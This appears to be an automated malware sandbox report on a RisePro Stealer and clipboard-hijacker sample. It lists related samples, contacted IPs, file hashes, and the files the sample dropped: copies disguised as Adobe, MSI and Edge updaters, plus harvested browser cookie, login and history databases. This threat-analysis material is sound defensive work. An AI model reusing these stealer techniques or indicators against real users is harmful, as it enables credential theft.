	Purchase Order # PO-00159.xla.xlsx	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	LHER000698175.xls	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	Customer Advisory - HS Code - Maersk Shipping.doc.exe	Get hash	malicious	Remcos, DBatLoader	Browse	34.117.186.192 104.26.4.15
	Wgdebahewafthr.exe	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer, zgRAT	Browse	34.117.186.192 104.26.4.15
	PO 4500025813.xls	Get hash	malicious	Unknown	Browse	34.117.186.192 104.26.4.15
	PstCgdvsgB.exe	Get hash	malicious	LummaC, RisePro Stealer	Browse	34.117.186.192 104.26.4.15

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, PrivateLoader, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse

Created / dropped Files

C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.358731107079437
Encrypted:	false
SSDEEP:	12:Q3La/hz92n4M9tDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:MLU84qpE4KlKDE4KhKiKhk
MD5:	93E4C46884CB6EE7CDCC4AACE78CDFAC
SHA1:	29B12D9409BA9AFE4C949F02F7D232233C0B5228
SHA-256:	2690023A62F22AB7B27B09351205BA31173B50B77ACA89A5759EDF29A1FB17F7
SHA-512:	E9C3E2FCEE4E13F7776665295A4F6085002913E011BEEF32C8E7065140937DDE1963182B547CC75110BF32AE5130A6686D5862076D5FFED9241F183B9217FA4D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	683968
Entropy (8bit):	7.997642237350495
Encrypted:	true
SSDEEP:	12288:klyDmq4PXDpxyALBKH1rZ1UBzv7OXhOQV+zCR4J7w5kJOD+cOCi4yGxrf2tW:k2mq4v1xjKH/1UNKXieeMCJOrOCPyIuW
MD5:	0223DDC38CB49A02584667227AFC77D6
SHA1:	865F01AD8FE1966297FE8158DFCA296D38267A6E
SHA-256:	32D1578C92310637299FDB57AF4A2A08D54AE7127EB5BDC388D71D9CCC9434D8
SHA-512:	C81A844D41D707863C2D1CE9B010706E0D78407473C3DA8915BC1894A6EE2A1F3BD64510C370257B922C0DF782D215897DF80318AEDF02D570DE5AA04AC19422
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\3mPJKgsigfIE_SLZsizIH3r.zip, Author: Joe Security
Preview:	PK........"..X................Cookies\..PK........"..XQn.+............Cookies\Chrome_Default.txt.G..r...U.#.5C.....s$..-.D...7.\..$.G.)o....:....Z.C.f_..pm............"..t..t....}.k.@...a.2+P`.0.x.>....s..k%.._..b..P..((......B.....`.7..-m..JY..F....E..l.....I..&.....<J..M.......,V...)b.....Q..k......M?.5L....h}......X..'.0..tB.G...\;.a....4.......B4.......J.4.6.y:....4.-.UfE...3Ap.U5UX....Z.g:e.j.C..Bw..........e..a^.vU:....$..U......B..`._.e.....+...9.{u...7.e...H.]02...%yR".0...x...P<..N....R.}....{.G...;..c..x...kw.'S>.d\|.....B..k.9.t.!>.rh...~n.[....s#/....`.!..Kb8%&.vZB`....O\|.....>K......L...d0..03..t...T&.......`N.xp.."..J.......Q.....c..5...).Z.91.6.j..G.....Wr...a.52!..(^.U.....6....dB.D.^...7..0H.\J9.H.$^`e"..d...\....B.8Z=.qeP.3Y.>..'W.X..T..>z...,..K......g....%B.w4#...;.[]u\|....v...3.;L..U?..b.....u....... .......F...P.a...\|R3.=......r.:.64...#D..^..>.A..ZT.]E........t...f...1..3.....`...X.....C.]%...p.p.ym

C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 66%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	760320
Entropy (8bit):	6.561572491684602
Encrypted:	false
SSDEEP:	12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5:	544CD51A596619B78E9B54B70088307D
SHA1:	4769DDD2DBC1DC44B758964ED0BD231B85880B65
SHA-256:	DFCE2D4D06DE6452998B3C5B2DC33EAA6DB2BD37810D04E3D02DC931887CFDDD
SHA-512:	F56D8B81022BB132D40AA78596DA39B5C212D13B84B5C7D2C576BBF403924F1D22E750DE3B09D1BE30AEA359F1B72C5043B19685FC9BF06D8040BFEE16B17719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......v...2...2...2...]...6....f..0...)=..,...)=....;...;...2.~.C...)=..i...)=......)=..3...)=..3...Rich2...........PE..L....#da...........!.....(...n...............@......................................(.....@.............................C.......x................................n...B..................................@............@...............................text....&.......(.................. ..`.rdata......@.......,..............@..@.data...`...........................@....rsrc...............................@..@.reloc..R...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\1cU8LgDKYNdaWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\5w9d2wtl6W7LWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\AhUc0FWfOlxwWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\JzfQ8mMmJVvXHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\PlAoyWlIwtSEHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\SAs9CHY3YroDLogin Data For Account

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\YTmxxq1AC9AlHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\bL5qEt56S6XoHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
